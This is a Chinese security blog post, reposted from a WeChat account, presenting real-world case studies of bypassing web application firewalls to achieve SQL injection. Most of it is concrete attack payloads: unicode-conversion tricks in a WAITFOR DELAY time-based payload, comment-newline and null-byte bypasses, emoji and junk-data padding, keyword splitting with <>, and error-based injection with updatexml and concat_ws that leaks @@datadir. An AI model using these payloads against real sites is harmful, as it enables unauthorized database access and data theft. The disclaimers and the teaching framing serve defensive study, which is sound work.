sql bypass案例

admin 2025年3月31日13:51:56评论20 views字数 1790阅读5分58秒阅读模式

宇宙免责声明!!!

本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。

严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。

作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。

我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。

中间件特性绕过waf

  • 首先通过-1 /1 /0 运算判断出存在数字型sql注入
  • 一般来说asp都是用access,这里使用--%0a的方式来构造payload也能正常执行,判断出这里为mssql
  • 这里的测试payload是 --随机字符%0a AND--随机字符%0a1=1
sql bypass案例
  • 在asp+iis的环境下unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。
o -->%u004f --> %u006f -->%u00bae -->%u0045 --> %u0065-->%u00f0
  • 首先测试延时payload,将里面的o替换为%u00ba
WAITF%u00baR%20DELAY%20%270:0:0%27
  • 返回时间正常
sql bypass案例
  • 改为1页面返回3秒,执行了3次,不管输入多少都会被乘3
sql bypass案例
  • 写个tamper即可使用sqlmap跑
sql bypass案例

%00绕过waf

  • 输入一个单引号
sql bypass案例
  • 页面报错
sql bypass案例
  • 首先闭合,这里用')闭合
keywords=1') %23
sql bypass案例
  • order by x被拦截,用--%0a代替空格即可
sql bypass案例
  • 直接上union select会一直卡着没有任何返回
sql bypass案例
  • 把空格都改为--%0a,成功响应,在select跟1,2,3...之间用两个--%0a会无响应
sql bypass案例
  • 在1后面加上%00并url编码,原理是waf把空字节认为是结束导致了后面的语句可以绕过
sql bypass案例

emoji绕过waf

  • 先order by 获取列数
sql bypass案例
  • 尝试使用联合注入时,就会被拦截,无限等待响应
sql bypass案例
  • 这里我们使用的方式去代替空格来绕过waf
  • 注释符 emoji 换行

成功注入出回显

sql bypass案例
脏数据绕过waf
  • 页面搜索功能尝试输入单引号,页面500报错并输出了报错信息
sql bypass案例
  • 这里竟然有报错我们就想着使用报错注入,但是含有类似于updatexml这种关键字直接拦截
sql bypass案例
  • 因为get绕过姿势较少,我们尝试把数据通过post发送,发现后端也接收,那么这里使用脏数据来绕过
大量数据&searchText='or updatexml(1,concat(0x1,user()),1) and '1'='1
sql bypass案例
全局替换绕过
  • 判断列数的时候会提示非法操作
order by 1%23
sql bypass案例
  • 只要含有关键字就拦截
sql bypass案例
  • 绕过方法是在关键字中穿插<>,因为会先判断是否存在sql注入关键字然后进行全局关键字替换<>来防止xss漏洞
  • 可以看到就算加了这两个字符页面还是正常
sql bypass案例
  • 所以我们直接利用这个方法成功注入
sql bypass案例

关键字替换绕过waf

  • 单引号页面报错
sql bypass案例
  • 这里我们打算使用updatexml来进行报错输出,在url后面添加and发现并没有拦截,但是如果在and后面空格然后跟updatexml直接被拦截
sql bypass案例
  • 这里我们的绕过方法是用运算符,and (+-/^),发现并没有被拦截
keywords=11'and-updatexml()
sql bypass案例
  • Updatexml参数为数字时被拦截
keywords=11'and-updatexml(1,1,1)
sql bypass案例
  • 这里可以使用16进制或者科学计数法 0x1或1e1
keywords=11'and-updatexml(0x1,,0x1)
sql bypass案例
  • 我们首先闭合一下后面的单引号,在后面加上and'让他配合原有的单引号把%包裹起来
keywords=11'and-updatexml(0x1,,0x1)and'
  • 现在我们来构造报错内容,concat函数被拦截这里使用concat_ws(),将后面的参数用第一个值来分割,然后配合@@datadir输出路径
11'and-updatexml(0x1,concat_ws(1,0x7e,@@datadir),0x1)and'
sql bypass案例

原文始发于微信公众号(Zer0 sec):还不会绕过waf?来看sql bypass案例!

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月31日13:51:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   sql bypass案例http://cn-sec.com/archives/3901366.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息